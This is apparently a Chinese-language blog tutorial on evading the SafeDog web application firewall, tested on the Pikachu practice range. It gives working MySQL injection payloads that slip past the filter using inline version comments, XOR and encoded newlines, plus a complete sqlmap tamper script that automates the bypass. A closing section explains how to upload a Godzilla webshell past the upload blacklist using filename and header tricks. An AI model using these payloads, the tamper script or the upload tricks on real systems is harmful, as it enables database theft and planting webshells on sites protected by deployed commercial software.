本文主要介绍过绕过安全狗的注入以及上传方法,内容偏新手,大佬勿喷。。
知识点介绍
开始先将本文所使用到的绕过方法知识点列出来
1.内联注释绕过
在mysql的语法中,有三种注释方法:--
和#
(单行注释)和 /* */
(多行注释)如果在/*
后加惊叹号!
意为/* */
里的语句将被执行
在mysql中 /*! ....*/
不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/*!....*/
中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。如下语句/*!50001 select * from test */
;这里的50001表示假如 数据库是5.00.01及以上版本,该语句才会被执行。
2.异或绕过
在^
没有被过滤的时候可以利用它来测试
异或:xor
或^
逻辑运算就是:同假异真(两个条件结果相同就为假,结果不同就为真)
例如:1^0 就是 1 ,1^1 就是 0
例子:
lucy' Xor '1'='1' #
如果‘lucy’存在则前后都为真则为返回假
如果’lucy‘不存在则前为假后都为真则为返回真
Xor类似当前后都为真时返回假执行后面一个表达式
如果A为真,则查出不满足B条件数据;
如果A为假,则查出满足B条件数据;
3.换行绕过
换行符绕过:%23%0a、%2d%2d%0a
%23 是url编码中的 # (也就是MySQL中的行注释符)
%0A 是url编码中的 换行
%23 aaaa -->对应的就是 #aaaa (就相当于把这行给注释掉了)
而再加上%0a(也就是换行符,后面的语句又能成功执行了)
测试环境
APACHE版本的安全狗版本4.0.28330,WIN10
这里用pickachu靶场的字符型注入来测试
一、mysql注入绕过测试
通过fuzzy测试安全狗的拦截策略(字典后面附上)
and 1 (and后加数字拦截)
过狗现在很好用的是内联注释加参数干扰,这里and加数字被过滤了,我们就直接将and后面的内容放进注释符里
这里也可以用&来代替and或者Xor也都不拦截
lucy' & '1'='1'#
lucy' Xor '1'='1'#
order by (这里order不拦截by不拦截,但是order后面加by会拦截)
所以我们还是用之前的内联注释测试绕过
发现and能过的内联注释到了order by就不行了。这.... 抓头.jpg。再测试一下将order by全部放进内联里,也不行。
根据开头介绍的内联的特性,往内联里加数字进行测试。这里可以多准备些五位数因为一些常用的已经被狗拦了
简单的fuzz 了一下,发现 了大量的可以绕过的版本号
10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449 18440-18449 等等
这里还有一种变形,首先看到这里一般的内联被过滤了
lucy' /**/order /**/by #
但是可以在内联注释中随机添加上一步中被狗拦截的五位数字,并随机添加一些字母,但是必须要放在order by等关键字的中间,功能相当于空格.
lucy' order/*!77777cz*/by 1#
union select (union后跟select会被拦截)
union select绕过可以直接加内联,因为安全狗看重的是关键字,要绕过只需要中间加些干扰就行。
但union select中间需要放两个内联才行,之后的都是这样。
-1' union /*!11440 select*/ 1,2#
-1' union /!77777cz//!77777cz/ select 1,2#
user()、database() (关键词跟括号会被拦截)
以前版本的在database()中间插空格符已经不管用了
tip:Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
但可以用内联绕过,直接把()放到内联里,或者经过简单的变形就能过
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
select xxx from xxx (select 任意字符 from 后面跟任意字符等也会拦截)
这里将select table_name和from information_schema.tables单独进行测试,发现都不会被拦截,但是用select table_name,2 from information_schema.这种组合进行测试时就会被拦截。再测试select xxx from xxx发现被拦截。说明select后面跟任意字符再加上from再加上任意字符就会被拦截。
这里只需要将select放进内联即可绕过,也可以像之前一样在from前面加两个内联/*!77777cz*/
,我这里为了简洁就只写一种。
查表名
-1' union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#
还可以用mysql>5.6版本的新特性,mysql库多了两个新表,innodb_index_stats 和 innodb_table_stats
这两个表是数据库自动设置的用于记录更改和新创建的数据库和表的信息,但准确的说是保存最近的数据库变动记录。安全狗没有对这两个关键字进行限制。
具体怎么查爆内容看这篇文章
查表名
1' union /*!11440select*/ group_concat(table_name),2 from mysql.innodb_index_stats where database_name=database/*!()*/#
时间盲注和报错
经测试
sleep()不会被拦但sleep()里面加数字就会被拦
updatexml()不会被拦,但是能执行的updatexml(1,1,0)会被拦截
都可以用内联进行绕过
lucy ' /*!11440or*/ /*!11440sleep(3)*/#
-1'AND updatexml/*!77777cz*/(1,version(),0)#
最基本的绕过方式已经找到,但我们的目的是编写sqlmap tamper来一键化过狗,先将上面的方法写成tamper来进行测试
tamper的编写很简单参考这篇
我这里简单介绍下payload替换部分,假如在服务器上AND被拦截,我们想用内联注释/!11444AND/绕过,就需要这样写
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11444AND*/')
其他的order、union、sleep等都是同样的方法。
在测试tamper的时候将sqlmap等级调整为v3这样可以显示使用到的语句
测试过程中发现sqlmap在进行联合注入测试时,会使用UNION ALL SELECT语句,同样的UNION ALL SELECT语句也是UNION ALL不拦截,UNION ALL SELECT才会被拦截,所以也是只需要对SELECT进行内联注释就行。
最后结果可以看到,所有类型的注入都可以跑出来
但是在测试查询所有数据库名时sqlmap会使用USER()和SESSION_USER()函数,还是用之前的方法,在字母和括号之间使用内联USER/*!77777cz*/()
,但是这样的话SESSION_USER()函数也会被转换成SESSION_USER/*!77777cz*/()
然后就会报错。
所以要单独对SESSION_USER()使用另一种内联来绕过,/!11440SESSION_USER()/
最后效果
最终tamper
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
payload=payload.replace('ORDER','order/*!77777cz*/')
payload=payload.replace("SELECT","/*!11440SELECT*/")
payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
payload=payload.replace("USER())","USER/*!77777cz*/())")
payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
return payload
二、绕过上传测试
安全狗的上传限制措施是黑名单。
我这里用一个哥斯拉马来做测试,看到上传文件服务器直接报500
方法一:等号绕过
在filename后多添加两个等号
方法二:换行绕过
在文件后缀名处换行
方法三:填充垃圾字符
在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验
tip:一些对文件内容进行检测的waf也可以用这种方法绕过,添加在文件内容的开头
在测试过程中还发现安全狗日志警报
说明安全狗对Content-Type也是有限制